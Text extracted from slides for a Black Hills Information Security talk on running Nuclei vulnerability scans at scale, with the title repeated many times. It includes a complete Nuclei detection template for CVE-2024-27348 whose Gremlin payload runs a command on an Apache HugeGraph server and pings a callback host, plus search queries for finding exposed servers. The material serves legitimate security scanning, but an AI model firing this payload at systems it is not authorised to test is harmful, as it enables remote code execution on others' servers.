Run Nuclei Scans at Scale Without Nuclei Cloud
Slides URL
Run Nuclei Scans at Scale Without Nuclei Cloud
1
2
3
4
5
5
Black Hills Information Security
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
What if we could red team your company all year. How would that affect your security?
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Qualys
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
History
Control
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
if you take nothing from this presentation go run nuclei
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.8
projectdiscovery.io
[INF] nuclei-templates are not installed, installing...
[INF] Successfully installed nuclei-templates at /Users/ralph/nuclei-templates
[INF] Current nuclei version: v3.3.8 (latest)
[INF] Current nuclei-templates version: v10.1.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 154
[INF] Templates loaded for current scan: 7607
[INF] Executing 7425 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 182 unsigned templates for scan. Use with caution.
[INF] No results found. Better luck next time!Run Nuclei Scans at Scale Without Nuclei Cloud
id: CVE-2024-27348
info:
name: Apache HugeGraph-Server - Remote Command Execution
author: DhiyaneshDK
severity: high
description: |
Apache HugeGraph-Server is an open-source graph database that provides a scalable and high-performance solution for managing and analyzing large-scale graph data. It is commonly used in Java8 and Java11 environments. However, versions prior to 1.3.0 are vulnerable to a remote command execution (RCE) vulnerability in the gremlin component.
reference:
- http://www.openwall.com/lists/oss-security/2024/04/22/3
- https://hugegraph.apache.org/docs/config/config-authentication/#configure-user-authentication
- https://lists.apache.org/thread/nx6g6htyhpgtzsocybm242781o8w5kq9
- https://github.com/Zeyad-Azima/CVE-2024-27348
- https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-27348
- https://nvd.nist.gov/vuln/detail/CVE-2024-27348
classification:
cve-id: CVE-2024-27348
cwe-id: CWE-77
epss-score: 0.00045
epss-percentile: 0.15047
metadata:
verified: true
max-request: 1
shodan-query: title:"HugeGraph"
fofa-query: title="HugeGraph"
tags: cve,cve2024,hugegraph,rce,apache
http:
- raw:
- |
POST /gremlin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"SL7\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"ping\", \"{{interactsh-url}}\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(header, "application/json")'
- 'contains(body, "inputStream\":")'
condition: and
# digest: 4a0a004730450221008578493cfb808436d459d2ccb291e869a96890bc1073b44ba502680294d2a06602200ba6baa9516109d23319e018aee1d92b35ea91dc9b6c1c1c1a8ffe673f471f3f:922c64590222798bb761d5b6d8e72950Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
S3 Bucket
Scan1
Scan2
SSH/API
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
May the Demo Gods Bless me
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud
Run Nuclei Scans at Scale Without Nuclei Cloud